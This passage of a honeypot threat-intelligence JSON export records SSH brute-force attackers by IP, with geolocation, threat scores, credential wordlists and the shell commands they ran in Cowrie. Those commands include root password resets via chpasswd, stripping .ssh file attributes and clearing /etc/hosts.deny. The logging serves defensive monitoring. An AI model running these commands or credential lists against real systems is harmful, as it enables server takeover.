      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:48:38.720000+00:00",
        "last_seen_30d": "2026-05-21T22:43:23.586000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "123.58.203.202": {
      "attack_count": 143,
      "first_seen": "2026-05-31T05:44:15.885Z",
      "last_seen": "2026-05-31T06:11:16.303Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dms",
        "jack",
        "kafka",
        "msf",
        "teste"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "1qaz@WSX!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@2026",
        "P@ssw1rd",
        "Password@1234",
        "asdfg12345",
        "dan",
        "dms",
        "dragon123",
        "haslo123",
        "qazwsx123!@#",
        "ykQhp2p7"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:VO0JqXVlvt6S\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T05:44:15.885000+00:00",
        "last_seen_30d": "2026-05-31T06:12:22.354000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "172.190.220.228": {
      "attack_count": 139,
      "first_seen": "2026-05-30T07:18:53.157Z",
      "last_seen": "2026-05-30T09:13:43.934Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cacti",
        "345gs5662d34",
        "monitor",
        "oracle",
        "testuser",
        "yaya"
      ],
      "passwords_attempted": [
        "!@#123QWEqwe",
        "1234qwer@",
        "3245gs5662d34",
        "345gs5662d34",
        "Changeme123!",
        "Wu123456",
        "cacti",
        "killer",
        "oracle123",
        "qwerty",
        "test12345",
        "yaya"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"cacti\\nv5NkcvVLdFAg\\nv5NkcvVLdFAg\\n\"|passwd",
        "echo -e \"cacti\\nv5NkcvVLdFAg\\nv5NkcvVLdFAg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:18:53.157000+00:00",
        "last_seen_30d": "2026-05-30T09:14:48.505000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 139,
        "Suricata": 49
      }
    },
    "206.212.244.18": {
      "attack_count": 138,
      "first_seen": "2026-05-08T21:44:30.498Z",
      "last_seen": "2026-05-31T14:02:35.995Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 27161,
      "as_org": "Litnics, LLC",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:44:30.498000+00:00",
        "last_seen_30d": "2026-05-31T14:03:36.974000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "105.186.225.204": {
      "attack_count": 118,
      "first_seen": "2026-05-23T07:58:26.835Z",
      "last_seen": "2026-05-23T13:59:49.447Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:58:26.835000+00:00",
        "last_seen_30d": "2026-05-23T14:00:56.970000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 59
      }
    },
    "185.251.38.50": {
      "attack_count": 118,
      "first_seen": "2026-05-21T21:35:36.033Z",
      "last_seen": "2026-05-21T22:07:56.032Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jboss",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "111",
        "123@abc",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "Dd123456",
        "Qaz12345",
        "a123456789!",
        "jboss",
        "mudar123",
        "root123456!",
        "screencast"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:LI0jdU4cI0PS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": null,
      "asn": 215272,
      "as_org": "Yedinyye Resheniya LLC",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:35:36.033000+00:00",
        "last_seen_30d": "2026-05-21T22:09:05.094000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "51.81.209.48": {
      "attack_count": 114,
      "first_seen": "2026-05-02T00:14:11.522Z",
      "last_seen": "2026-05-02T08:47:57.537Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:07:42.880000+00:00",
        "last_seen_30d": "2026-05-02T08:48:59.368000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 95
      }
    },
    "51.68.226.87": {
      "attack_count": 111,
      "first_seen": "2026-05-25T17:07:36.326Z",
      "last_seen": "2026-05-25T17:48:28.512Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "admin",
        "ansible",
        "curl",
        "hadoop",
        "pdv",
        "ubuntu",
        "vbox"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "102030",
        "123",
        "1234",
        "123@abcd",
        "Qq147258",
        "Wangsu@2017",
        "Welcome123!",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "netup123",
        "pass",
        "pdv",
        "test123",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:07:36.326000+00:00",
        "last_seen_30d": "2026-05-25T17:49:34.032000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 111,
        "Suricata": 46
      }
    },
    "60.243.237.121": {
      "attack_count": 104,
      "first_seen": "2026-05-23T08:06:22.345Z",
      "last_seen": "2026-05-23T13:58:18.612Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:06:22.345000+00:00",
        "last_seen_30d": "2026-05-23T13:59:22.368000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 52
      }
    },
    "34.142.110.144": {
      "attack_count": 103,
      "first_seen": "2026-05-25T04:52:45.348Z",
      "last_seen": "2026-05-25T08:00:50.552Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "duo"
      ],
      "passwords_attempted": [
        "12348765",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456.",
        "Huawei@12",
        "P@$$w0rd",
        "Qq123456!",
        "duo",
        "pangeran"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:u2GO83cqeHKT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:52:45.348000+00:00",
        "last_seen_30d": "2026-05-25T08:02:00.268000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 21
      }
    },
    "129.232.19.157": {
      "attack_count": 80,
      "first_seen": "2026-05-20T23:08:13.897Z",
      "last_seen": "2026-05-21T06:31:00.080Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lesotho",
      "country_code": "LS",
      "city": "Maseru",
      "asn": 33567,
      "as_org": "TELECOM-LESOTHO",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:08:13.897000+00:00",
        "last_seen_30d": "2026-05-21T06:32:00.612000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 44
      }
    },
    "188.44.20.32": {
      "attack_count": 78,
      "first_seen": "2026-05-12T13:32:24.155Z",
      "last_seen": "2026-05-30T12:47:13.298Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Struga",
      "asn": 57374,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:32:24.155000+00:00",
        "last_seen_30d": "2026-05-30T12:48:22.092000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "34.14.18.68": {
      "attack_count": 73,
      "first_seen": "2026-05-16T06:58:41.038Z",
      "last_seen": "2026-05-16T06:59:42.948Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6954",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T06:58:41.038000+00:00",
        "last_seen_30d": "2026-05-16T07:00:46.800000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "187.27.232.137": {
      "attack_count": 72,
      "first_seen": "2026-05-19T20:24:48.319Z",
      "last_seen": "2026-05-20T17:40:44.309Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:24:48.319000+00:00",
        "last_seen_30d": "2026-05-20T17:41:50.126000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 36
      }
    },
    "36.41.173.197": {
      "attack_count": 54,
      "first_seen": "2026-05-07T15:51:11.367Z",
      "last_seen": "2026-05-07T16:58:37.543Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "sysuser"
      ],
      "passwords_attempted": [
        "admin23",
        "adminadmin",
        "sysuser"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:51:11.367000+00:00",
        "last_seen_30d": "2026-05-07T17:08:41.374000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 40
      }
    },
    "101.53.148.190": {
      "attack_count": 48,
      "first_seen": "2026-05-08T18:24:38.442Z",
      "last_seen": "2026-05-12T10:43:24.536Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132420,
      "as_org": "282, Sector 19",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:24:38.442000+00:00",
        "last_seen_30d": "2026-05-12T10:44:29.004000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "34.62.148.105": {
      "attack_count": 39,
      "first_seen": "2026-05-02T05:54:55.970Z",
      "last_seen": "2026-05-02T05:55:21.575Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:54:55.970000+00:00",
        "last_seen_30d": "2026-05-02T05:56:25.952000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "45.12.132.198": {
      "attack_count": 30,
      "first_seen": "2026-05-05T00:47:17.565Z",
      "last_seen": "2026-05-11T13:39:40.504Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cyprus",
      "country_code": "CY",
      "city": null,
      "asn": 209847,
      "as_org": "WorkTitans B.V.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:47:17.565000+00:00",
        "last_seen_30d": "2026-05-11T13:40:45.075000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "91.225.171.243": {
      "attack_count": 28,
      "first_seen": "2026-05-24T12:29:38.813Z",
      "last_seen": "2026-05-24T12:40:07.739Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 56401,
      "as_org": "Pe mirtelekom",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:29:38.813000+00:00",
        "last_seen_30d": "2026-05-24T12:51:03.699000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "185.255.100.197": {
      "attack_count": 24,
      "first_seen": "2026-05-14T01:49:35.895Z",
      "last_seen": "2026-05-31T22:33:09.991Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:49:35.895000+00:00",
        "last_seen_30d": "2026-05-31T22:34:14.496000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "192.144.4.150": {
      "attack_count": 24,
      "first_seen": "2026-05-13T00:47:13.937Z",
      "last_seen": "2026-05-13T01:01:21.638Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 56529,
      "as_org": "RuaD-Group LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T00:47:13.937000+00:00",
        "last_seen_30d": "2026-05-13T01:02:26.946000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "51.158.201.72": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:25:13.105Z",
      "last_seen": "2026-05-08T07:13:17.790Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
